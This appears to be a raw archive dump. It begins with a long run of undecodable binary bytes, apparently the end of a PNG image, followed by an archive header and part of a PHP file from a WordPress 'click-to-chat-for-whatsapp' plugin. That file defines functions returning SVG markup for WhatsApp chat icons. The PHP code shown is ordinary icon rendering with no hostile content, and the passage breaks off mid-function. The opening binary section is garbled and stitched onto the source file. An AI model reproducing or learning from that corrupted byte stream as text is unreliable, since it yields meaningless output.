˟��8�<2��?�;��̙�q��8Kcw�k�:�I�[}�h|�Z���S�w�%0�aN��B\OC���U��@;���fXǙ6��l�	�7h�B�:>*<��=[����&��r^�`ԙ����|9Jb�7�<*g��^�X�K3��ڹ�e��f5<85�k�br҄��ޥv���><��E`�31�J衟A�$��=�,�S>O���m+*��|�K��l���˜�$6�
�:8�Gf�h��(�=#"�/P�Q-��Îd�]Ui�}ŝ��6��]-�j)�}�/�2~$%?j��܆Lk�J�$���U�� ��P4��D�����Me�D���|����5LJis¶(&�:���@S��e��	}"n��oḨt�z��^-���UM�(���0��2��GE�~�QS���&�i��U.
�
l7�4r��J<q��K�=4D���2�L����P�ȑ�<�۲����hi����ȥ��e�ct�Z��[a�Gn�F�2�%5�h����q�d�*.��>N��t4�!B�7S���m8@2�e�bwڙr�b�čcn2Dun���X�i�e�L�u�g���s��m�B��߳��P�z����Bف�,]9���}��@��������mm����R��}�ّtC�T��\�yY,?�����[)d7��D�/��ۼ�~]�Iv�LJ
��v@���t����q<�0����aN���ЙI��U�t�c;�	��5���Y�R��ZE*UE�%������(��P��m
�(�0�l��,?:�.�,�&��ȭ�$)�S���|ly)��ӱaA6so���7�*s:����X2��:�m��(m�q�Ve�Bm�&U�F�a�2N����o,�F��a�n�m�k�~�a��_�jB������1��[[!�������21��w��2�#�pa�S�E��6pN<̓ ]�m�l�la��|�?/����2��J[�Zɼ��#�mN�k7���?��.�(�յ�Ϊ�m����1K�{��^�6<ǭY�y.��L��W"-[�`0#/R�-�&�}1�����]Q��Z;�K�XL��[7�ZC�EM���t��~B
j��*`�U:�����"�s&�@=n4/5�?)+}�K)�Q�"6�.<�~�0�3�o�ěaCI
̀T���;���4�-��f})�'�`
l���4�"������]\��t;K��^��,",�!n��էg
XH7Dۈ8a�瞙�XP7k�P71�R�d��\��Gr&�+!�(U��_J�7D"�w�(����RϹ����g��0��>#?	'/d]����x�X��^�Q-r}���
�d��_&�b@�%�h�d��׶� b�5v��3o�$*��_	�6��*�y�w����(�m�";[�.�����"�z�j�ͧ�\�҆6\ ���+����ɏ�C�f:B�$��"H'K�N�m�nV��M��!hMq
�(�ej�QH�~���U�����*|��:��Y��=��f�1��,�����"L#�Z��Yk��?AI���Z�<�>DWҁ6���*A3*Uթ�M��|Qҫb�dpc�z"'=7P��d�5��?�k��2�ˌT��ɴ.�g٣�|cy(7DM�/0_e�=���u&0z@��p\��淙�����<�u�
��0�6kXТ�F���uھL{Xz=�Ѩ
 ���v ��K:�~�.Ц�Y�A �Sb�l�]#����/	����`���4�z{pP�g�O�z2)�̜�![�$e���7U�CHݯ��_��P��k��Cb:^�}-�+�'}�Q
u;޻Iv���P�����\?�
��1��¬G�?!sz��N1�(J��ތ#���O�30��U�C�<S�*�~/lU�Lvc
b�j�i�hm(��J�W-�����F�۶D�\��X�h8�l��SD)=�D=�3RM6�ed�A�����vر+)�QP9���δ�$����9��.�|�C7L����ϸ90�~�@ף ^��Z`f�d��QR
�;��K+�.[�A3G�άr�����rQ߲v/��=j�ùaڨ���FU���
�}3w�	"��/��(�4�
qXA������ݮ���Z��Ы�-2 =
荤;�=`q����V��=���M< ’���A�������'0��$Sڭ�g_-��sYS�-
���5�_����l�d�yX:iu����xt*���HY�2"��[�;cQ_G�x,�������B�g�M3zu�����
�Ǽp�B��	VcF�ڲ�1�-������
L�0�����D�<ƫr�sf_� [�ֵ�V+9���?�t���b���p�D�s�}��9�J��[�`��<�1n�ۃm�2XO=:�7r��ss$��CB񁎀��2�ί�t��~`m֩ 0ڤ՗����cWEm*���/u0�i�|�<�+�ơJ� �d��A�g��(Q,��.�i����it�ʻJ��ox�Ce-(�k��<b�=!��R��e�|���Q��t�۪e��t���n��+%�
X��4�q���U�+ֲn[�lZo_�1����{`vc��2��B��mB�a��?�.�xg٣�	��_ǯ�Vu2��=�-��zK��[Snxli�BE�-�W���F��0�ju �a�/f"
��[k���@�$S,D*M����4���o굦��n
����l;eٟ0��Z<��Wƕ2R}^Ɠ��E֭���7�M��T/���qׂq�&e����w1�g��|��5���u��b�3��#�6���)��=�/��i �K�n.���X�Ϫ���(vEi=;-���eSnk��ي<o�kJ�!�7�h`W�
�%&v��v�f�.��?-02���\�_��X�-��Z/��>�/[�Qt��q�fG�Z&�0�!�-�?^�d��k�֣��ϡ��d�vhSU��,Y��i.�4���eW�Y5!���i��V?a��9ku�A�Ө�5l� ��f�E��{�
/qo��V-�A����Se���r(�y�[&�qS�{2�ȃ1�X��x� P[-���pWܤ�*X7�V�;^�p}��;��{�hUg��A��E�{-9���2���;�*�ק���2���-��M�S���������H�Y�V��-�q��
n�M�
�.16������
.T�:�1un���Q+M6�آ�ZA��ϼ�
��l=�����
U�����]aX�|�����i�ȯ����2~�R�*�"�uq�հ�q�m��E��"������_�g����
��(�e[{�W���ۤ؜��Ȁ�c�"�3v���+�c�OA���t"*4s������T�k��S"�
���u�U
�cnFG�GЂe�{-3�c��{S�w4��k����uA	Ԙ�(��w�l7�ٸ�q5�WB`��&���7G�l�x�].�=G�OJ�#�í���Ƿ}o�	��!�K@�<��ˌ�i6-�ŜR}�~�KԋXvdm�f�6��]@@��. �/3����;,H�ӮQ7�%x�U��}ؒ͝}j��0�ɟ��v�-0����Q�Z�8�����G���lj�6�GN�T+r�Y��)WN��[�E����4&A��R΃0
��(&z<�a"b@DV��`���]rwjM�,��T�=k=���D�q��C�\SLe,�%Y�ߓ�Wkm1U�[�\�oNu���v�Di�\m�������`T�y�`QO�h#��]r�.�\)�|���ѫ�T��'Г':��8Q��?c ��
���k`�B:� nN��!�WX�wކB̪�&h4���u���c��ɯ�g���H��V��9����{`\?f��������b�GB��q	>��0�����6UO%��O7�P,q��9GqVx+�A?Ҡ

Co�}�6&���āa�O�W�!��v(�:���*�n�0����;9X@]�O6�T
�a�DNr�
��x�B�ڴk����2�nw	n:��Ρ=�[ߪ�%�G_�_�_-,cGx����+�U����K��tj8��ȩ�:
j�{�K�K� ����Ņ^'R��hO�w0�@��4��,[�F��P�.B��8��f�ǂg��2�'��~p\�sl��1M� jX�����x|tfvD��!�$_�,�:+!fի�D��r�
^��_�6��]�n�:b`�ce=�U_�(�Ksk�]�����٘27���sL#k)�
�6�3~5%"65次���=gD�Yw�F����!+H�y���<ě��q�:��L�e�����Q��+8-�Gu��YD&.� �K�Q�2Mn����Z�S�/��6��u�(}yH���r��ö��v����35�'����7���9m�+ݭ�%��N��+� Wu��]��b���	��[���v����ZTԯ(~�\t.�J �}Ǒʜ�uc���J�f�$Ma���-�^<�쫵�`_�sq�\

�;g��[�w͌��rj���Lp�Աa?B�h��|=�+�u3�%�+q�W�3*��1Uy��z�6�o^b%���Ϸo�q)V�|\���,���vT�q`k;�9�퐽9*0�g%�q�S`�l�;-�����v����0[3*�(�ۘ���h�o�k��,�i�6�
�$~YI;u�)�kD�fx�����#��X�+�M'/+jz�(�-+5D~+
Ůݘ���?�ʠ���u��;�X��8�.�Em��4K�����G����v��fS�`U�!Jx��~r~�'��g0@�5E}�49�i_�f�E<���r�x7ԕ���U��� L+��IU�h����
`F�惣isJ�D(�M�	~.[ic�Y������g��a�g�i�.����f4��m��V���F_���d�qk_
�:y�z��tAf�1��3�IϨaRwΚͮ�E�$�e6��d�x��Ԣ��)�;�wz�2"�uS*��5/|nC���D2tX>j�Xx;|����V�${Y#�����H]��(�ȹR���R^C:M50A�	5{�����׭�e���>�P�$�*�W��-��z����8��fOF
YG�X~�1�<rJ�P�x��T=qf��H�'�x	h��K���i_��U��q^�2�i��	k�z?.��>B��
�C����X��ED݄
�P]_�q��L���n��#I��(�+
����{�z߂���6�3���:xTɍ,��(���1�\6���Y!�|��(�xN3rJ�㐅Ǵ� h��8�i���V�����ո��aV�MA���x�µ ڳ��A�"w��H��@�.Q=���J_�g��9��1;�.:�Si/ū�H�wݓ�O\B�czj&e�Zvѽ흈�Xx�r��*eР���j?��妃�逳}�!%�����r�q��
J�4Oe�'C:q��j�s�z=k��C��n�A���嘡�f��|�̀@�{pw��D��?-0S�](7��r-�Ӗ#v-z������£Y��2��V��4ɝm�B��pj
 �Y{���uȑ󗀨楊�m�l���R�u���������&d)n�Z�~���!�Ӿ�&�*3uvF�eٲ%��6Ǩ!�jYS�w��
��T��{�˩�U"�B(���鰋�޷�.���$y�<���{�B
��Kk���I-kb?��lD��g6=2}>m\ ,��^�V9FX���QWJ*͊�Ɣo:�&�ŭ��6���Df���at�{Q��݄�����@��[:S�u0^��3�N�Sy�(-��兔�Ya��� �Fq��f_=i��>�Uj��j��#�!�%*���[78nM��-N�w^�i>�j��9W �
����9ʘ�y+�,�*��ǐ��	j��4@.��R���8hv�Z?_���\�[�R�n�ƢET��6��ʟ�qB�c�d�e��݊��-J��6a�GE\LU<�	����*�ݪP����ON{	j=��Y��%�k*�8������n�;!��9a�:F�>�o��y���ˬ�A@��l������H��D�2��1�:w�t��2��7��lRk��\��s<���j�V�
Ǘ-"����_)t���Z�fPV�!Y=	�
/�`%sd�6�9ӥyBX!�#�X��bq|:�(Lb�Ͳ��}�4
�;�27����Ga�l��N���	���l��J���:��X`%ssZ,m-A�T.�v���T�k�6��足� 
�(����|��E�m�;�[�
]=
���+�:�I��:9.����	����:{ީn��CD�{�	mDTDTm ���P����D���謒�v)���
�3�3�?E�0�(�sQ��U�>����L����M���
�Z�uX��-٦%�LF�x��O0mS\Wc�O�!��T����p��}�A��U��*y� B	�L�[�VPM}Y�A�2�:���pS�W�Y*/�=
9�e~�q	��q0Xʔv���Ƅ�����#�i�xdLE�q�K�"f�OK)���+3�\ĦG�0룞�A�����V����q˜r#�x�*�@mr�?�f�ޣ�Z5id�j������\�Yk(�q�K�4�.��ᾦH���emWw�WŅ��A��j�4��j���|Z'�x�}Q��;+
���WX��G-��A�Z�����؈�ݘ
�|2Z$�r�F0�Yww[b�!H9�(�)�D�z���k�.�Ĕ��%�P����`$U��_ ��ƔP��C�<)��H�+;
�`�]��B�B��"Hs�n�w0�SU�"c�(f�_�V�nz%n�#kC6���K��gKZ�ݢ,�Jz3�:�붛�F8T$�^��S`���*��cM!Ni*��Çtd;��ɬ����
�~0��K�|LA��B�G#U߄�=NC>�aې�Y�!��8JVU���R���JkC��#\�%��3���N~��$5�/Is<�r����XU9=�Qs��%d:�qx&��
Y2����/�;�V���bl���~N<GY��#׭��Ő��@+���g�9�y���+T°��E���;k��\úm����S�X9᩵w��C��^��4,�{��yKV���o�y��)y%YKƯR�0��\�U�NΎ
ZU3K�0/�����T\ΡE��査d��5���^"�?�<4��+Ky:F
4ږT�"�(��,%��Ԙh|k��}|�O!��V�d`m�[�g%�s�pt+ފ�g/�hC��5bJɍ�Ym[��@r�����/�w ��ڑ�CiU�P�v�u-�;g��g����="bG�\
�yÅޖ)���(�hả�~���H�m]GC�A֍pm}z[F��z.I�E�}�L�â��zh��5�vZ�|Y�"m�>�D�P[�$��.p�ȢX���>
ez�('d��������#pG��N%	�T�T�G~�j̥xi������E�]-�pq���G��k{�%s�SХ�[z"�{��������]h1t�ȩ�VV��4���U,�OH4H�i�P�t��h~H`��<�%s�Z
}J�+'bE���s[��W�ȑcJN;@gm=��h�N��k�Ε���>8"�P�	���'�H<�����:]���m�cEi\��:1b���& ���`!"��H�H�G�/3�oǟ���zb;�}uG�#�'�1<k��F'�=V`��ԏ��"f���ErKƪq1�Cv��
v
�M.[Y̩�5ި�X����X|ؓ�u�'M�Uh���N�{��,���dx�ӇV�;��3�����pg��K8���;d8�~�	.�ijřQ�O��\�ג��}�G۔@_0K�"̷��}0c�n�w] /�[�N��w�!��1D�X�^��:��`T�T\4���_�H�%57nq<��Bmk �/9k���{N"�|7u�}ʢ�:�a)n�lc����oڹ,���Kl�!���4�7����C�\�[TDjnBwL.��.ʼn�u�����]�A�Y�C|�`d[��	�M�yk)@�D�=����s&�_4a
��C�6�����B/M����^�t�c�+ĢU{�����GsڴbI�쥷ܦ�Ϊ��A�����?�g��[�m:�_��[����2R�|u���|�C��T��}�2�R�2;s���኱L�^���Հ2tW+��~ݠ��	Ե"Q]�@}ܗ�`P�x8�u�e�
�1�
<x'Hg8��F�-_9ׇ��+�L�����"���%���$�
J���K
�Jw�F 5�l)�y̨Wk�Mh��
#}w�j4G�U�M�\�6��� �bL�# ƪ�9�uz8�A.�4N䃈�u-��v[IR��]��fQI��b�Zu�[� 6w��K�����t$�Nhy8ݤ,�nA\�~<\h�Oz)E���cW�Y�t��>���lƃ̑�$�Ur�˨�x��;+�P�lw�ʥ�
����odP�i��j��1��?��m�D�����S8,Y�>����!��-�Ye�c5��iz�H$�d��qj�|��[$�ȫ��+�]�W9T��.П�o�jzoxf��k�D:�:F���U+�"���}���?=o�}�p}]�/�HPM��r��F�HgEU����( ��f�#	n�:�@a�V���dxP�?���QYdn;d�s�J�myN�O���M���q^VgY��j��6/�@k�<�i�A�J�.�.�L
���Q���O~��^x��|;�(��{�߆�:Qv�$W�U���
����Cs�|���A��m�m�I��<��k�tI�j�[�^��۠vٺ|le�TFl;��@n#]M=u���ad�v�.Fu�!VvM$�6�j �"��ߑl�b�vM��V�$�i��p����`���֊J����<�tɗ�T�.��e��8X�en���V���o��b��J?�H��W�v���䘪Ģ5���0/�7��k�;��E�;#I�A_�L�it��#��YP}I�:+����j���L�7'��6wN����1~�zEg�j�˛��$�@ϊ�9)�LK��E4?�ˤ��)��U���O
˪�1�z���l�x�ط�5����y�$�yB�^W��Y5h!��0W},���l�uƗ"�v6C��
��^1f�ó�6���-=/�|��M�P��r��<ȍn����B)�VnL%%8��5�O.+��eL���ѕ��\Y|��|�oPT����\�ʞz�TDTU�}�`��Z�Q4�D��.��4D	��Wd��)��}
�H~�_� �@3����-gH�;a��c8���q�C����@���*�h.�U�Hλ@��IF�,����߭B9��,��3Q��.6���2k�t��c�e7�)�ْ�f�W��<b�
S�cE4��l���# �=���P;�_�Ր8J��׭%XM�Nz�n�`�X=r�6�������FS��j.j�գW�y:�����{�x�<�%��2r�~����>�c�����F�4	�7�z�)u��2%oNe�WJ��j���퐜��F.��W0cIq���E��:M+4����\�
a�.�f��J��5^���eW���q�\���~�x�د{��0=�q����--I1U��r-{(ηC9��^j��Dt��*g�t�)ݏ�F�9d�!"����R��'����em�왐uJ�1�M\aA�D)���ŋ��D.hP�$�б�r�x�^}�o�f��3�P+#7i�;���>/<I	��B��^"��.奴-�C���Xmgx�K3��������H�\��<���D��c���S�Hi�A�`�s���M�H�*}����Hsŭ�Ow�Q?�lq�ʳ�[��_m57����Jz���EI$�S���-n���2�N]ф�>�~���#�KF0jP϶��D�a�����H�_�w3��@S�i��E���dc!t���`&��pU����ǹų�@sa��j��n�"��C�theE�b��ϥ�20�scH銳�G�c�'�m2�{l�#��U�8~22�)����k��z�ӥԓ: ���p��MC}�$��R�
k-���F�
p�q�h�LqAF�}����(�+�Dơ�Io�\���	<1���)kQ�#!U�7��'o����`������k�2F1��_ b�(�:ލ�8�b�y@S�G.� m��P"�#a��8+�j\@��>G1��[�p��I?^a�	j����$7TI��ɠ�S9��c�F�;a�����V�7��r�\��QV�	��>n�v(`
��#g�n�!^�:o�v90Q���>^qғg��Z*�›�RO���@A����fjd;�_�О��'8���n@g:&w	r��$:��K�&���f��SLW���
��t��,�����M$�cnEI����=���T���S����`!�2�����0�.���j���A��Ğ�B	��p�N{qˆ��̗p����H.������A��f�����=��f(��`u������p`��@%�ש^$�����1	l���9��N1e��)-|�l{��;/O���3 �Rp�N��z��u9���N:��Rծ������y�C�w	lEM4�;�������RX�N��3�,��4�����yi�|��j�����u��h�`�(�DX7��s�i�Bl���j��y1�|�[��g��Bf��
�-�n$�	#"%₹|y�-�ȇc՜/���SP�%���8��Ⱦ�V�(/8��HҖ����sV���UCi�Q�)1{�VX�p^��$抢$�C��'ş�l�ӿ�%��IJ��︻QU��xv��އk��jz,�V�x�4.��$ꀯ-����m���?�9}�n��mb����|�Y����!�qc�uw�z�?\���	&0bׅ��u�I_�t��ڒ����y6��)�yH�9����QI6�6�-��&1K���㬮n"G�Y9�O�AkP��f�Xa�~Nb�u�{�d�;I��Rw:�m��f�jU�%9P}<�*�H����3A�
�aI"x�l7A`^Y;�&-8翟
��F	�Zz�c�ܥ�ރ�3Q����ĺ6o�\0�.���g���%h�~Oi�[�л�
l�ڭ
���\Pw �zص�S�cmw�ѷ�W_�W((�}&���K�Ӈ%��י��p�m�9���}���t��4.>w�IJ�R�
�]
�N�a]{X�H�j���&'�� S`��ς������/j�3���;sm\���Q`��v�}1z�gN�p�rr�(H�xΒ�j��~���(�r8R]�P�gѡ��Lo}�j遳�`e-�]�Ž�{l�M3�����m�
W�ld���
�δ}x�,��(r;���X�W��-#��ANSg�"K�3�0•M�����x�IEND�B`�click-to-chat-for-whatsapp/new/inc/assets/img/ht-ctc-svg-images.php000064400000034015147510273110021156 0ustar00<?php
/**
 * ht-ctc-svg-images.php
 * 
 * s7, 8 svg image
 * simple icon
 * 
 */


if ( ! defined( 'ABSPATH' ) ) exit;



/**
 * s2 svg image
 * square icon
 */
if ( ! function_exists('ht_ctc_style_2_svg') ) {
    function ht_ctc_style_2_svg( $img_size, $type, $ht_ctc_svg_css ) {

        $svg = '<svg style="'.$ht_ctc_svg_css.'" width="'.$img_size.'" height="'.$img_size.'" viewBox="0 0 1024 1024">
        <defs>
        <path id="htwasqicona-'.$type.'" d="M1023.941 765.153c0 5.606-.171 17.766-.508 27.159-.824 22.982-2.646 52.639-5.401 66.151-4.141 20.306-10.392 39.472-18.542 55.425-9.643 18.871-21.943 35.775-36.559 50.364-14.584 14.56-31.472 26.812-50.315 36.416-16.036 8.172-35.322 14.426-55.744 18.549-13.378 2.701-42.812 4.488-65.648 5.3-9.402.336-21.564.505-27.15.505l-504.226-.081c-5.607 0-17.765-.172-27.158-.509-22.983-.824-52.639-2.646-66.152-5.4-20.306-4.142-39.473-10.392-55.425-18.542-18.872-9.644-35.775-21.944-50.364-36.56-14.56-14.584-26.812-31.471-36.415-50.314-8.174-16.037-14.428-35.323-18.551-55.744-2.7-13.378-4.487-42.812-5.3-65.649-.334-9.401-.503-21.563-.503-27.148l.08-504.228c0-5.607.171-17.766.508-27.159.825-22.983 2.646-52.639 5.401-66.151 4.141-20.306 10.391-39.473 18.542-55.426C34.154 93.24 46.455 76.336 61.07 61.747c14.584-14.559 31.472-26.812 50.315-36.416 16.037-8.172 35.324-14.426 55.745-18.549 13.377-2.701 42.812-4.488 65.648-5.3 9.402-.335 21.565-.504 27.149-.504l504.227.081c5.608 0 17.766.171 27.159.508 22.983.825 52.638 2.646 66.152 5.401 20.305 4.141 39.472 10.391 55.425 18.542 18.871 9.643 35.774 21.944 50.363 36.559 14.559 14.584 26.812 31.471 36.415 50.315 8.174 16.037 14.428 35.323 18.551 55.744 2.7 13.378 4.486 42.812 5.3 65.649.335 9.402.504 21.564.504 27.15l-.082 504.226z"/>
        </defs>
        <linearGradient id="htwasqiconb-'.$type.'" gradientUnits="userSpaceOnUse" x1="512.001" y1=".978" x2="512.001" y2="1025.023">
            <stop offset="0" stop-color="#61fd7d"/>
            <stop offset="1" stop-color="#2bb826"/>
        </linearGradient>
        <use xlink:href="#htwasqicona-'.$type.'" overflow="visible" style="fill: url(#htwasqiconb-'.$type.')" fill="url(#htwasqiconb-'.$type.')"/>
        <g>
            <path style="fill: #FFFFFF;" fill="#FFF" d="M783.302 243.246c-69.329-69.387-161.529-107.619-259.763-107.658-202.402 0-367.133 164.668-367.214 367.072-.026 64.699 16.883 127.854 49.017 183.522l-52.096 190.229 194.665-51.047c53.636 29.244 114.022 44.656 175.482 44.682h.151c202.382 0 367.128-164.688 367.21-367.094.039-98.087-38.121-190.319-107.452-259.706zM523.544 808.047h-.125c-54.767-.021-108.483-14.729-155.344-42.529l-11.146-6.612-115.517 30.293 30.834-112.592-7.259-11.544c-30.552-48.579-46.688-104.729-46.664-162.379.066-168.229 136.985-305.096 305.339-305.096 81.521.031 158.154 31.811 215.779 89.482s89.342 134.332 89.312 215.859c-.066 168.243-136.984 305.118-305.209 305.118zm167.415-228.515c-9.177-4.591-54.286-26.782-62.697-29.843-8.41-3.062-14.526-4.592-20.645 4.592-6.115 9.182-23.699 29.843-29.053 35.964-5.352 6.122-10.704 6.888-19.879 2.296-9.176-4.591-38.74-14.277-73.786-45.526-27.275-24.319-45.691-54.359-51.043-63.543-5.352-9.183-.569-14.146 4.024-18.72 4.127-4.109 9.175-10.713 13.763-16.069 4.587-5.355 6.117-9.183 9.175-15.304 3.059-6.122 1.529-11.479-.765-16.07-2.293-4.591-20.644-49.739-28.29-68.104-7.447-17.886-15.013-15.466-20.645-15.747-5.346-.266-11.469-.322-17.585-.322s-16.057 2.295-24.467 11.478-32.113 31.374-32.113 76.521c0 45.147 32.877 88.764 37.465 94.885 4.588 6.122 64.699 98.771 156.741 138.502 21.892 9.45 38.982 15.094 52.308 19.322 21.98 6.979 41.982 5.995 57.793 3.634 17.628-2.633 54.284-22.189 61.932-43.615 7.646-21.427 7.646-39.791 5.352-43.617-2.294-3.826-8.41-6.122-17.585-10.714z"/>
        </g>
        </svg>';

        return $svg;
    }
}

/**
 * style 3,4 svg image
 * icon
 */
if ( ! function_exists('ht_ctc_style_3_svg') ) {
    function ht_ctc_style_3_svg( $img_size, $type, $ht_ctc_svg_css ) {

        $svg = '<svg style="'.$ht_ctc_svg_css.'" width="'.$img_size.'" height="'.$img_size.'" viewBox="0 0 1219.547 1225.016">
            <path style="fill: #E0E0E0;" fill="#E0E0E0" d="M1041.858 178.02C927.206 63.289 774.753.07 612.325 0 277.617 0 5.232 272.298 5.098 606.991c-.039 106.986 27.915 211.42 81.048 303.476L0 1225.016l321.898-84.406c88.689 48.368 188.547 73.855 290.166 73.896h.258.003c334.654 0 607.08-272.346 607.222-607.023.056-162.208-63.052-314.724-177.689-429.463zm-429.533 933.963h-.197c-90.578-.048-179.402-24.366-256.878-70.339l-18.438-10.93-191.021 50.083 51-186.176-12.013-19.087c-50.525-80.336-77.198-173.175-77.16-268.504.111-278.186 226.507-504.503 504.898-504.503 134.812.056 261.519 52.604 356.814 147.965 95.289 95.36 147.728 222.128 147.688 356.948-.118 278.195-226.522 504.543-504.693 504.543z"/>
            <linearGradient id="htwaicona-'.$type.'" gradientUnits="userSpaceOnUse" x1="609.77" y1="1190.114" x2="609.77" y2="21.084">
                <stop offset="0" stop-color="#20b038"/>
                <stop offset="1" stop-color="#60d66a"/>
            </linearGradient>
            <path style="fill: url(#htwaicona-'.$type.');" fill="url(#htwaicona-'.$type.')" d="M27.875 1190.114l82.211-300.18c-50.719-87.852-77.391-187.523-77.359-289.602.133-319.398 260.078-579.25 579.469-579.25 155.016.07 300.508 60.398 409.898 169.891 109.414 109.492 169.633 255.031 169.57 409.812-.133 319.406-260.094 579.281-579.445 579.281-.023 0 .016 0 0 0h-.258c-96.977-.031-192.266-24.375-276.898-70.5l-307.188 80.548z"/>
            <image overflow="visible" opacity=".08" width="682" height="639" transform="translate(270.984 291.372)"/>
            <path fill-rule="evenodd" clip-rule="evenodd" style="fill: #FFFFFF;" fill="#FFF" d="M462.273 349.294c-11.234-24.977-23.062-25.477-33.75-25.914-8.742-.375-18.75-.352-28.742-.352-10 0-26.25 3.758-39.992 18.766-13.75 15.008-52.5 51.289-52.5 125.078 0 73.797 53.75 145.102 61.242 155.117 7.5 10 103.758 166.266 256.203 226.383 126.695 49.961 152.477 40.023 179.977 37.523s88.734-36.273 101.234-71.297c12.5-35.016 12.5-65.031 8.75-71.305-3.75-6.25-13.75-10-28.75-17.5s-88.734-43.789-102.484-48.789-23.75-7.5-33.75 7.516c-10 15-38.727 48.773-47.477 58.773-8.75 10.023-17.5 11.273-32.5 3.773-15-7.523-63.305-23.344-120.609-74.438-44.586-39.75-74.688-88.844-83.438-103.859-8.75-15-.938-23.125 6.586-30.602 6.734-6.719 15-17.508 22.5-26.266 7.484-8.758 9.984-15.008 14.984-25.008 5-10.016 2.5-18.773-1.25-26.273s-32.898-81.67-46.234-111.326z"/>
            <path style="fill: #FFFFFF;" fill="#FFF" d="M1036.898 176.091C923.562 62.677 772.859.185 612.297.114 281.43.114 12.172 269.286 12.039 600.137 12 705.896 39.633 809.13 92.156 900.13L7 1211.067l318.203-83.438c87.672 47.812 186.383 73.008 286.836 73.047h.255.003c330.812 0 600.109-269.219 600.25-600.055.055-160.343-62.328-311.108-175.649-424.53zm-424.601 923.242h-.195c-89.539-.047-177.344-24.086-253.93-69.531l-18.227-10.805-188.828 49.508 50.414-184.039-11.875-18.867c-49.945-79.414-76.312-171.188-76.273-265.422.109-274.992 223.906-498.711 499.102-498.711 133.266.055 258.516 52 352.719 146.266 94.195 94.266 146.031 219.578 145.992 352.852-.118 274.999-223.923 498.749-498.899 498.749z"/>
        </svg>';

        return $svg;
    }
}


/**
 * style-3 extend
 */
if ( ! function_exists('ht_ctc_style_3_1_svg') ) {
    function ht_ctc_style_3_1_svg( $img_size, $type, $ht_ctc_svg_css, $others ) {

        $stop_color_0 = ( isset( $others['bg_color'] ) ) ? esc_attr( $others['bg_color'] ) : '#20b038';
        $stop_color_1 = ( isset( $others['bg_color'] ) ) ? esc_attr( $others['bg_color'] ) : '#60d66a';

        if ( '' == $stop_color_0 ) {
            $stop_color_0 = "#20b038";
            $stop_color_1 = "#60d66a";
        }

        $svg = '<svg style="'.$ht_ctc_svg_css.'" width="'.$img_size.'" height="'.$img_size.'" viewBox="0 0 1219.547 1225.016">
            <path style="fill: #E0E0E0;" fill="#E0E0E0" d="M1041.858 178.02C927.206 63.289 774.753.07 612.325 0 277.617 0 5.232 272.298 5.098 606.991c-.039 106.986 27.915 211.42 81.048 303.476L0 1225.016l321.898-84.406c88.689 48.368 188.547 73.855 290.166 73.896h.258.003c334.654 0 607.08-272.346 607.222-607.023.056-162.208-63.052-314.724-177.689-429.463zm-429.533 933.963h-.197c-90.578-.048-179.402-24.366-256.878-70.339l-18.438-10.93-191.021 50.083 51-186.176-12.013-19.087c-50.525-80.336-77.198-173.175-77.16-268.504.111-278.186 226.507-504.503 504.898-504.503 134.812.056 261.519 52.604 356.814 147.965 95.289 95.36 147.728 222.128 147.688 356.948-.118 278.195-226.522 504.543-504.693 504.543z"/>
            <linearGradient id="htwaicona-'.$type.'" gradientUnits="userSpaceOnUse" x1="609.77" y1="1190.114" x2="609.77" y2="21.084">
                <stop id="s3_1_offset_1" offset="0" stop-color="'.$stop_color_0.'"/>
                <stop id="s3_1_offset_2" offset="1" stop-color="'.$stop_color_1.'"/>
            </linearGradient>
            <path style="fill: url(#htwaicona-'.$type.');" fill="url(#htwaicona-'.$type.')" d="M27.875 1190.114l82.211-300.18c-50.719-87.852-77.391-187.523-77.359-289.602.133-319.398 260.078-579.25 579.469-579.25 155.016.07 300.508 60.398 409.898 169.891 109.414 109.492 169.633 255.031 169.57 409.812-.133 319.406-260.094 579.281-579.445 579.281-.023 0 .016 0 0 0h-.258c-96.977-.031-192.266-24.375-276.898-70.5l-307.188 80.548z"/>
            <image overflow="visible" opacity=".08" width="682" height="639" transform="translate(270.984 291.372)"/>
            <path fill-rule="evenodd" clip-rule="evenodd" style="fill: #FFF;" fill="#FFF" d="M462.273 349.294c-11.234-24.977-23.062-25.477-33.75-25.914-8.742-.375-18.75-.352-28.742-.352-10 0-26.25 3.758-39.992 18.766-13.75 15.008-52.5 51.289-52.5 125.078 0 73.797 53.75 145.102 61.242 155.117 7.5 10 103.758 166.266 256.203 226.383 126.695 49.961 152.477 40.023 179.977 37.523s88.734-36.273 101.234-71.297c12.5-35.016 12.5-65.031 8.75-71.305-3.75-6.25-13.75-10-28.75-17.5s-88.734-43.789-102.484-48.789-23.75-7.5-33.75 7.516c-10 15-38.727 48.773-47.477 58.773-8.75 10.023-17.5 11.273-32.5 3.773-15-7.523-63.305-23.344-120.609-74.438-44.586-39.75-74.688-88.844-83.438-103.859-8.75-15-.938-23.125 6.586-30.602 6.734-6.719 15-17.508 22.5-26.266 7.484-8.758 9.984-15.008 14.984-25.008 5-10.016 2.5-18.773-1.25-26.273s-32.898-81.67-46.234-111.326z"/>
            <path style="fill: #FFFFFF;" fill="#FFF" d="M1036.898 176.091C923.562 62.677 772.859.185 612.297.114 281.43.114 12.172 269.286 12.039 600.137 12 705.896 39.633 809.13 92.156 900.13L7 1211.067l318.203-83.438c87.672 47.812 186.383 73.008 286.836 73.047h.255.003c330.812 0 600.109-269.219 600.25-600.055.055-160.343-62.328-311.108-175.649-424.53zm-424.601 923.242h-.195c-89.539-.047-177.344-24.086-253.93-69.531l-18.227-10.805-188.828 49.508 50.414-184.039-11.875-18.867c-49.945-79.414-76.312-171.188-76.273-265.422.109-274.992 223.906-498.711 499.102-498.711 133.266.055 258.516 52 352.719 146.266 94.195 94.266 146.031 219.578 145.992 352.852-.118 274.999-223.923 498.749-498.899 498.749z"/>
        </svg>';

        return $svg;
    }
}


/**
 * plain icon
 * @uses at style 1, 7, 7_1, 8
 */
if ( ! function_exists('ht_ctc_singlecolor') ) {
    function ht_ctc_singlecolor( $svg_attrs ) {

        $color = ( isset( $svg_attrs['color'] ) ) ? esc_attr( $svg_attrs['color'] ) : '#ffffff';
        $icon_size = ( isset( $svg_attrs['icon_size'] ) ) ? esc_attr( $svg_attrs['icon_size'] ) : '28';
        $type = ( isset( $svg_attrs['type'] ) ) ? esc_attr( $svg_attrs['type'] ) : 'chat';
        $ht_ctc_svg_css = ( isset( $svg_attrs['ht_ctc_svg_css'] ) ) ? esc_attr( $svg_attrs['ht_ctc_svg_css'] ) : "display:block;";
    
        $svg = '<svg style="'.$ht_ctc_svg_css.'" height="'.$icon_size.'" version="1.1" viewBox="0 0 509 512" width="'.$icon_size.'">
        <g fill="none" fill-rule="evenodd" id="Page-1" stroke="none" stroke-width="1">
